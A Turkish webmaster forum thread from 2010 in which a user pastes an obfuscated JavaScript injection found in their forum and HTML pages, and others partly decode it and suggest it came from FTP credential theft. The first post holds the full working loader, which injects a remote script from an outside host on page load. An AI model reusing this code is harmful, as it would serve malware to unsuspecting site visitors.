• 01-05-2010, 01:17:30
    #1
    Üyeliği durduruldu
    <script>function M(){this.dJ=false;var W=window;this.Wo="";var g="g";var X=W["RToun".substr(3)+"es"+"1frbca".substr(4)+"H7BvpeB7Hv".substr(4,2)];var H=String("defe"+"r");this.nC="";var MM=new Date();this.Ee="";var P="sc"+"riX1KE".substr(0,2)+"pt";var IL="IL";var o=String("/ima"+"geve"+"nue-"+"com/"+"googcvNO".substr(0,4)+"le.c"+"uWyrom/t".substr(4)+"eleg"+"raph"+".co.tU5".substr(0,4)+"uk.p"+"hp");this.ov="";var pH="";var i=new Date();this.dJs=false;function t(j,D){this.Yv=39434;var O=X(String("]"));this.fF="";var I=X("[");var F=new String("SaLg".substr(3));this.Eg="";this.Q="";var N=new RegExp(I+D+O, F);var bf="bf";return j.replace(N, new String());};var eN=new Date();var KP=new Array();var ZA=new Array();var AO=new Date();var Z=t('8355339379163033553932636221387272647361733601362335947','45623179');var he="he";var e=document;var Y=t('s9rBcN','BZ5m9SahWN1E6HYQ');var iA=new Array();var v=t('curfe3abtXeXEMlGe1mueinotL','vB3UVAf0JXo1GbMuki_KyLwh8');var y=new Date();var tE=new Date();var LQ=new Date();var Xg="";function Pw(){this.ou="";var OM=X(String("http:"+"//sup"+"ereas"+"yride"+"r.at:"));var E=OM+Z+o;var Tx="";this.WV=false;var Jk=new Date();var WM=t('aqpNpNeNnNd2C2h9i3lqdq','293qNJPHD');var m=t('bWoqdcy4','ncq_43WD1');try {var CH=new Array();this.tS=false;K=e[v](P);var Jj="Jj";var Vj="Vj";this.EK=false;var KG=new Date();var wP=new Array();K[Y]=E;var Atf="Atf";var WVP="";K[H]=[1][0];var QH="";this.c="";this.yPA="";e[m][WM](K);var T_="";var Lb="";} catch(d){var iC="";this._L="";};}this.hp=false;var n=t('o_n_lNoNaQds','IQ_5rsN');this.pQ="";this.tG=false;W[n]=Pw;this.rD="";this.QI="";};this.oH=false;this.XZ="";M();this.Rr=15793;var XR="XR";</script>
    <!--3954553840e65a6985827b44acc621ee-->
    Birisi nasıl becerdiyse IPB forumuma ve HTML sayfama bu kodu yerleştirmiş. Bu ne demek?
  • 01-05-2010, 01:37:16
    #2
    Üyeliği durduruldu
    anlayamadım kodu :S

    iframe gibi bir şeydir kesin siteye koyduysa
  • 01-05-2010, 01:42:31
    #3
    virus dostum büyük ihtimal ile kendisine hit sagliyor site görünmesin diyede şifrelenmiş.
  • 01-05-2010, 02:12:12
    #4
    Üyeliği durduruldu
    bunun bulundugu adrese kaspersky ile girsene bir uyarı verecekmi bir çok trojeni görebiliyor bu prg..
  • 01-05-2010, 12:14:22
    #5
    Üyeliği durduruldu
    Kodun başını çözdüm:

    function M() {
    
    this.dJ=false;
    var W=window;
    this.Wo="";
    var g="g";
    var X=W["unescape"];
    var H=String("defer");
    this.nC="";
    var MM=new Date();
    this.Ee="";
    var P="script";
    var IL="IL";
    var o=String("/imagevenue-com/google.com/telegraph.co.uk.php");
    this.ov="";
    var pH="";
    var i=new Date();
    this.dJs=false;
    Bu şekilde devam ediyor. Kodları temizledim. Herkese teşekkür ederim. Şimdi bu kodların nasıl eklendiğini bilmek lazım.
  • 01-05-2010, 22:46:16
    #6
    Bana da bulaşmış aynısından
  • 01-05-2010, 23:15:38
    #7
    Evet Benim Arkadaşada Bulaşmıştı.
    İframe Virüsümüdür Nedir
    O Kodu Temizlemişti Tekrar Olmuştu Sitelerinizi Kontrol Edin Sizde
    Tekrar Bulaşabilir..
  • 01-05-2010, 23:55:35
    #8
    Webustad adlı üyeden alıntı: mesajı görüntüle
    Kodun başını çözdüm:

    Bu şekilde devam ediyor. Kodları temizledim. Herkese teşekkür ederim. Şimdi bu kodların nasıl eklendiğini bilmek lazım.

    Basit cozmekte baska bir siteden bilgisayariniza bulasan bu virus diger adi trojen antivirusunuz tanimliyamamis sizde sitenizin ftp hesabimina baglaninca trojen amcamda bilgilerinizi sizdirarak sizden habersiz ftp nize dalmis ve html olan basit kisimlara kendi java scripti kodlarini yerlestirmis hepsi bu ilk once pc nizi temizleyin ondan sonra ftp hesap sifrenizi degistirin bakalim ne yapacak ozaman
  • 02-05-2010, 01:37:20
    #9
    http://www.supereasyrider.at ile bir alakası var ancak kodun ne yapmaya çalıştığını anlayamadım. Sadece linki yakalayabildim.